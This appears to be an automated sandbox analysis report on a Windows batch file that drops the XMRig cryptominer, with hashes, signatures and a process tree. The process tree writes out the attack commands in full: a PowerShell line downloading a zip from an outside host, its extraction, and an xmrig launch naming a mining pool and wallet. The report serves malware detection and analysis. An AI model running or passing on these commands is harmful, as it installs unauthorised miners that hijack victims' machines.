Analysis

  • max time kernel
    1s
  • max time network
    120s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/11/2023, 03:34

General

  • Target

    tesy - Copy (8).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 4 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1840
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
        PID:5028
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K start.cmd
        2⤵
          PID:4060
          • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
            xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
            3⤵
              PID:1460

        Network

              MITRE ATT&CK Matrix

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                2KB

                MD5

                2f57fde6b33e89a63cf0dfdd6e60a351

                SHA1

                445bf1b07223a04f8a159581a3d37d630273010f

                SHA256

                3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

                SHA512

                42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                c20ac38ae3022e305b8752804aadf486

                SHA1

                4c144d6cfafb5c37ab4810ff3c1744df81493cdb

                SHA256

                03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

                SHA512

                c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfuiot2h.cso.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\test1.zip

                Filesize

                3.2MB

                MD5

                95452958f42b1b93f0c887f59d84d19f

                SHA1

                c861dc457d57471ab42879f49cc8fe171e7c9b1c

                SHA256

                dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

                SHA512

                96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

              • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

                Filesize

                278B

                MD5

                080123b6eac4a332d3f2b11f6eb3aa54

                SHA1

                8f3d40eae881e3b871cff2aa85521d727ada2a64

                SHA256

                cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

                SHA512

                0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

              • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

                Filesize

                7.4MB

                MD5

                9fd44667a0f76b38bc8fff3edb578d28

                SHA1

                06380f00ef93b94ccb9ffd74ef9873bf0c0b7160

                SHA256

                eefa6b4d1b03d8b799318819562561215edf8bff0d3806bd182d62cd73fdc590

                SHA512

                7d23aeaad3f67f2e83f659d1480611ee5eb60925ba92e28967d64afc9431338ddbf04f7f5e9dcdeab9e1214a63c6c9a54dcbc3efc99eb1b6d0a922d723775b88

              • memory/1460-56-0x000001FAF8E80000-0x000001FAF8EA0000-memory.dmp

                Filesize

                128KB

              • memory/1460-59-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-66-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-65-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-64-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-63-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-62-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-61-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-60-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-58-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-57-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-55-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-47-0x000001FAF8CC0000-0x000001FAF8CE0000-memory.dmp

                Filesize

                128KB

              • memory/1460-54-0x000001FAF8E50000-0x000001FAF8E70000-memory.dmp

                Filesize

                128KB

              • memory/1460-48-0x000001FAF8E10000-0x000001FAF8E50000-memory.dmp

                Filesize

                256KB

              • memory/1460-49-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-51-0x000001FAF8E80000-0x000001FAF8EA0000-memory.dmp

                Filesize

                128KB

              • memory/1460-50-0x000001FAF8E50000-0x000001FAF8E70000-memory.dmp

                Filesize

                128KB

              • memory/1460-52-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1460-53-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

                Filesize

                11.0MB

              • memory/1840-10-0x00007FFA8A5C0000-0x00007FFA8B081000-memory.dmp

                Filesize

                10.8MB

              • memory/1840-5-0x000001EBB9950000-0x000001EBB9972000-memory.dmp

                Filesize

                136KB

              • memory/1840-13-0x000001EB9F6E0000-0x000001EB9F6F0000-memory.dmp

                Filesize

                64KB

              • memory/1840-11-0x000001EB9F6E0000-0x000001EB9F6F0000-memory.dmp

                Filesize

                64KB

              • memory/1840-12-0x000001EB9F6E0000-0x000001EB9F6F0000-memory.dmp

                Filesize

                64KB

              • memory/1840-17-0x00007FFA8A5C0000-0x00007FFA8B081000-memory.dmp

                Filesize

                10.8MB

              • memory/5028-34-0x0000021B6A650000-0x0000021B6A65A000-memory.dmp

                Filesize

                40KB

              • memory/5028-33-0x0000021B6A670000-0x0000021B6A682000-memory.dmp

                Filesize

                72KB

              • memory/5028-43-0x00007FFA8A5C0000-0x00007FFA8B081000-memory.dmp

                Filesize

                10.8MB

              • memory/5028-30-0x0000021B6A6B0000-0x0000021B6A6C0000-memory.dmp

                Filesize

                64KB

              • memory/5028-31-0x0000021B6A6B0000-0x0000021B6A6C0000-memory.dmp

                Filesize

                64KB

              • memory/5028-32-0x0000021B6A6B0000-0x0000021B6A6C0000-memory.dmp

                Filesize

                64KB

              • memory/5028-29-0x00007FFA8A5C0000-0x00007FFA8B081000-memory.dmp

                Filesize

                10.8MB